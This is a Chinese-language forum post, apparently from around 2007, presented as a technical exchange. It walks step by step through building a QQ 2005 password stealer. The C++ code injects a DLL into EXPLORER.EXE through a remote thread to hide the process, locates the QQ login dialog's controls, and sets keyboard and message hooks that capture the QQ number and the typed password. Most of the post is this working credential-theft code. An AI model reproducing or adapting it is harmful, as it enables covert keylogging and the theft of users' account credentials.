- UID
- 24595
- 積分
- 162
- 威望
- 6523
- 桐幣
- 2
- 激情
- 0
- 金幣
- 0
- 在線時間
- 1 小時
- 注冊時間
- 2007-9-27

文都秀才

- 積分
- 162
 鮮花( 0)  雞蛋( 0)
|
|
<span id=replyContentArea2434>平臺:windows xp sp2;<br />軟件:QQ2005版。<br />申明:本文旨在技術(shù)交流。<br /><br />一。先講幾句廢話:<br /><br />經(jīng)常有聽到有朋友QQ被盜的消息,總感覺做出這種行為的人是可鄙的,不就是對QQ窗口進(jìn)行監(jiān)視,然后再是記錄用戶輸入的號碼和密碼,認(rèn)為沒什么了不起。<br /><br />對于Windows核心編程,本人還是一只菜鳥,前一段時間把《Windows系統(tǒng)編程》粗略的看一邊(當(dāng)然重點(diǎn)地方仔細(xì)的看),由于對于C++有點(diǎn)基礎(chǔ),感覺學(xué)起來比較容易上手。但到了這兩天真正實(shí)踐的時候,遇到了各種各樣的問題。即使一個小小的問題都足以讓我這只菜鳥郁悶老半天。直到此時,在完成這個軟件的時候,整理一下思路,不但算是給自己個總結(jié),也跟像我一樣的菜鳥們分享一下自己的經(jīng)驗(yàn)。<br /><br />二。進(jìn)入主題:<br /><br />想必大家都已經(jīng)知道,這類軟件的特點(diǎn)就是在用戶不知不覺的時候工作。在任務(wù)管理器中是看不到它們的,這就是隱藏了進(jìn)程。采用插入內(nèi)核的嵌入方式、利用遠(yuǎn)程插入線程技術(shù)、嵌入DLL線程、或掛接PSAPI等都可以達(dá)到效果,哎,既然是個菜鳥就選擇一個最簡單的來做個實(shí)驗(yàn)。<br /><br />先講一下思路:需要三個進(jìn)程A,B,C;兩個DLL。<br /><br />初始進(jìn)程A,用于在進(jìn)程B中創(chuàng)建遠(yuǎn)程線程,創(chuàng)建成功立即退出,不會留給任務(wù)管理器任何捕捉它的機(jī)會(你根本來不及觀察)。<br /><br />進(jìn)程B作為遠(yuǎn)程線程的寄主,選擇的時候應(yīng)該是那些系統(tǒng)中必須執(zhí)行的進(jìn)程,比如EXPLORER.EXE。其中的遠(yuǎn)程線程用于監(jiān)視目標(biāo)進(jìn)程。<br /><br />進(jìn)程C為目標(biāo)進(jìn)程在這里也就是QQ.EXE。<br /><br />第一個DLL(InspectQQLandDlg.dll),遠(yuǎn)程線程的載體。<br /><br />第二個DLL(MyHook.dll),全局鉤子函數(shù)的載體。<br /><br />現(xiàn)在要做是利用進(jìn)程A把InspectQQLandDlg.dll映射到進(jìn)程B,同時啟動該DLL中的遠(yuǎn)程線程,再利用該線程監(jiān)視目標(biāo)進(jìn)程(QQ.EXE)QQ登陸窗口,一旦找到,立即把MyHook.dll映射到目標(biāo)進(jìn)程來監(jiān)視用戶的輸入。<br /><br />這樣也清楚了這個軟件設(shè)計(jì)的總體構(gòu)架,下面用代碼來具體實(shí)現(xiàn)。<br /><br />1。遠(yuǎn)程線程的創(chuàng)建。先利用進(jìn)程快照取得目標(biāo)進(jìn)程,相對比較簡單<br /><br />HANDLE hSnapshot ;<br />hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;<br />if ( hSnapshot == INVALID_HANDLE_VALUE)<br />{<br />return 0;<br />}<br /><br />string lpName = "EXPLORER.EXE" ; //設(shè)定需要監(jiān)視的進(jìn)程名<br />PROCESSENTRY32 pe;<br />pe.dwSize = sizeof ( PROCESSENTRY32 );<br /><br />for( BOOL fOk = Process32First ( hSnapshot, &pe ) ; fOk; fOk =<br />Process32Next( hSnapshot, &pe ) )<br />{<br />if ( pe.szExeFile == lpName )<br />{ <br /><br />//取得宿主進(jìn)程(EXPLORER.EXE)的句柄<br />HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS,<br />false, pe.th32ProcessID ) ;<br /><br />//取得目標(biāo)DLL的當(dāng)前路徑(路徑可自由設(shè)置)<br />char szInspectDllPath[128] ;<br />GetCurrentDirectory ( 128, szInspectDllPath ) ; <br />strcat ( szInspectDllPath, "\\debug\\InspectQQLandDlg.dll" ) ;<br /><br />//申請存放文件名的空間<br />LPVOID pszInspectDllRemote ;<br />int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;<br />pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess, <br />NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ; <br /><br />//把dll文件名寫入申請的空間<br />WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,<br />(LPVOID)szInspectDllPath, InspectDllNameLength, NULL);<br /><br />//獲取動態(tài)鏈接庫函數(shù)地址<br />HMODULE hModule ;<br />hModule = GetModuleHandle ( "kernel32.DLL" ) ;<br />LPTHREAD_START_ROUTINE fnStartAddr ;<br />fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,<br />"LoadLibraryA" ) ;<br /><br />//創(chuàng)建遠(yuǎn)程線程<br />HANDLE hInspectRemoteThread = NULL ;//存放遠(yuǎn)程線程句柄<br />hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,<br />fnStartAddr, pszInspectDllRemote, 0, NULL ) ;<br /><br />if( hSnapshot != NULL )<br />CloseHandle ( hSnapshot ) ;//關(guān)閉進(jìn)程快照<br /><br />CloseHandle ( hRemoteProcess ) ;<br />break ;<br />}<br />}<br /><br />2。此時InspectQQLandDlg.DLL已經(jīng)被映射到EXPLORER.EXE。此時在InspectQQLandDlg.DLL的DllMain(千萬不要寫成DLLMain)接受到DLL_PROCESS_ATTACH消息,但一般來說不因在DllMain中執(zhí)行過多的功能(借鑒前人的經(jīng)驗(yàn),嘿嘿),于是很容易想到開辟一個新線程。<br /><br />switch(fdwReason)<br />{ <br />case DLL_PROCESS_ATTACH:<br />{<br /><br />//下面這句會給你創(chuàng)建遠(yuǎn)程線程成功的提示。<br />MessageBox ( 0, "Code Injection success!", "NOTE", MB_OK ) ;<br /><br />HANDLE hNewThread = CreateThread ( NULL, 0,ThreadForInspect, NULL, 0, 0 ) ;<br /><br />break;<br />}<br />}<br /><br />在新線程中要達(dá)到的目標(biāo)只是一個循環(huán),利用while()和循環(huán)標(biāo)志(BOOL)isContinue即可以實(shí)現(xiàn)。<br /><br />在這個遠(yuǎn)程線程中要完成的第二個任務(wù)是找到QQ登陸對話框中關(guān)鍵控件。<br /><br />關(guān)于這點(diǎn)網(wǎng)上有很多資料,利用的是FindWindow和FindWindowEx,這是針對以前的版本。在這里已經(jīng)無效了,現(xiàn)在QQ在這里下了點(diǎn)工夫,采用的是窗口標(biāo)題采用隨機(jī)字符。<br /><br />就以登陸對話框?yàn)槔,對話框的類?quot;#32770",或許許多菜鳥朋友會像我在最初的時候一樣,傻傻用FindWindow ("QQ用戶登陸","#32770") ;結(jié)果什么都沒有,哎~~<br /><br />其實(shí)可以通過窗口枚舉搞清楚QQ在這里到底做了什么手腳。<br /><br />BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam ) <br />{<br />if ( !hwnd )<br />{<br />return false ;<br />}<br />char szWindowName[128] ;<br />ZeroMemory ( szWindowName, 128 ) ;<br />GetClassName ( hwnd, szWindowClassName, 128 ) ;//取得類名<br /><br />if ( !strcmp ( szWindowClassName, "#32770" ) )<br />{<br /><br />__asm int 3 <br /><br />}<br /><br />return true ;<br />}<br /><br />利用上面的程序段,在VC調(diào)試器中不斷按F5且同時在WATCH中觀察szWindowName,很容易發(fā)現(xiàn)這個窗口名字符串是由不超過二十個字符組成(多次觀察),但其中的元素只有0X13,0X10,0X32,字符串中的每個位置都是三個元素之一。但在SPY++中窗口名中看起來只不過是“ ”,怎么看都只是幾個空格(再提醒一下,不要試圖通過復(fù)制其中的內(nèi)容,效果可是無法忍受的,呵呵)<br /><br />事實(shí)上登陸窗口可以通過窗口的許多確定因素來確定,比如窗口風(fēng)格,窗口ID之類的,這些都可以通過SPY++輕易得到(SPY++,好東西。旅嬉簿筒欢喟l(fā)話了,直接給出各個關(guān)鍵控件的代碼。<br /><br />#define UserNameComboBoxId 0x0000008A //用戶名控件ID<br />#define PasswordEditId 0x000000B4 //密碼控件ID <br />#define ButtonId 0x00003EA0 //登陸按扭控件ID<br />#define QQLandDlgMiniStyle 0x94CA00C4 //登陸對話框最小化時的風(fēng)格<br />#define QQLandDlgShowStyle 0XB4CA00C4 //登陸對話框在桌面顯示時的風(fēng)格<br /><br />BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )<br />{<br />if ( !hwnd )<br />return false ;<br /><br />long style = GetWindowLong ( hwnd, GWL_STYLE ) ;<br />if ( style == QQLandDlgMiniStyle || style == QQLandDlgShowStyle )<br />{<br />hQQLand = hwnd ;<br />EnumChildWindows ( hQQLand, EnumChildWndProc, NULL ) ;<br /><br />return false ;<br />}<br /><br />return true ;<br />}<br /><br />BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam ) <br />{<br />if ( !hwnd )<br />return false ;<br /><br />//取得指定句柄的控件ID<br />long id= GetWindowLong ( hwnd, GWL_ID ) ;<br /><br />if (id == UserNameComboBoxId )<br />{<br />hUserName = hwnd ;<br />}<br /><br />else if ( id == PasswordEditId )<br />{<br />hPassword = hwnd ;<br />}<br /><br />else if ( id == ButtonId )<br />{<br />hLandButton = hwnd ;<br />}<br /><br />return true ;<br />}<br /><br />到這里終于取得盼望多時的hUserName,hPassword,hButton這三個控件的句柄。~v~<br /><br />在這里其實(shí)可以用<br /><br />SendMessage ( hUserName, WM_GETTEXT, 128, (LPARAM)szUserName );<br /><br />取得UserName(QQ號碼),但不能取得密碼。<br /><br />可以隨便下載個*號密碼,再在密碼框中輸入幾個字符,結(jié)果可能是失敗,不知道QQ做了什么手腳,有機(jī)會再好好研究。既然此路不通,菜鳥也自己的辦法去達(dá)到目標(biāo)。<br /><br />現(xiàn)在遠(yuǎn)程線程的第二個功能(取得關(guān)鍵控件的句柄)已經(jīng)完成,接下來要做的事是把MyHook.dll映射到QQ.EXE,這樣即可實(shí)現(xiàn)對用戶鍵盤輸入的監(jiān)視。<br /><br />只需調(diào)用MyHook.dll的接口函數(shù)即可<br /><br />SetHook ( hQQLand, hUserName, hPassword, hLandButton, true ) ;<br /><br />3。MyHook.dll模塊。<br /><br />EXPORT BOOL WINAPI SetHook ( HWND hQQLand,<br />HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall ) <br />{<br />if ( isInstall )<br />{<br />hQQLandDlg = hQQLand ;<br />hUserNameEdit = hUserName ;<br />hPasswordComboBox = hPassword ;<br />hButton = hLandButton ;<br /><br />DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ;<br />hHookDll = GetModuleHandle ( "MyHook" ) ;<br /><br />hKeyboard = SetWindowsHookEx ( WH_KEYBOARD, <br />(HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;<br /><br />hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC,<br />(HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ; <br /><br />if ( hKeyboard != NULL && hWndProc != NULL )<br />return true ;<br />}<br /><br />else<br />{<br />UnhookWindowsHookEx ( hKeyboard ) ;<br />UnhookWindowsHookEx ( hWndProc ) ;<br /><br />hHookDll = NULL ;<br />hKeyboard = NULL ;<br />hWndProc = NULL ; <br />ZeroMemory ( szPassword, 128 ) ;<br />pszPasswordLen = 0 ;<br />}<br /><br />return false ;<br />}<br /><br />這個程序段很簡單只是通過檢測遠(yuǎn)程線程的輸入安裝、卸載鉤子函數(shù)。<br /><br />如果對鉤子函數(shù)不清楚的朋友,看一下MSDN或者WIN32函數(shù)集就可以了。<br /><br />這里對QQ登陸對話框線程設(shè)置兩個鉤子,一個鍵盤鉤子函數(shù)記錄鍵盤輸入;另一個全局消息鉤子。<br /><br />LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )<br />{<br /><br />//檢測回車鍵是否被按下<br />if ( wParam == VK_RETURN && lParam > 0 )<br />{<br /><br />//由于鉤子函數(shù)只是記錄對密碼框的記錄,因而在最后時刻取得號碼會是準(zhǔn)確的<br />SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );<br /><br />//此處可以自由處理攔截到的號碼和密碼(szUserName,szPassword)<br /><br />//不要忘了變量還原(szUserName,szPassword)<br />}<br /><br />if ( lParam > 0 && wParam != VK_RETURN )<br />{<br />char KeyName[10] ;<br />ZeroMemory ( KeyName, 10 ) ;<br />GetKeyNameText ( lParam, KeyName, 10 ) ;<br /><br />if ( strlen ( KeyName ) == 1 )<br />{<br />strcat ( szPassword, KeyName ) ;<br />}<br />}<br /><br />return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;<br />}<br /><br />也由一部分用戶是用鼠標(biāo)點(diǎn)擊登陸按扭的,可由下面代碼實(shí)現(xiàn)<br /><br />LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam )<br />{<br />CWPSTRUCT *p = (CWPSTRUCT*)lParam ;<br />if ( p->message == WM_COMMAND && p->hwnd == hButton )<br />{//同理<br /><br />SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName ); <br /><br />//這里可添加如何處理密碼的語句<br />}<br />return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ;<br />}<br /><br /><br />上面給出的幾段代碼可以實(shí)現(xiàn)基本的號碼和密碼記錄功能,但對于具體細(xì)節(jié)的處理(比如用戶按退格鍵或是其他),這些只要考慮仔細(xì)就可以了沒有什么難度,這里就不說了。<br /></span> |
|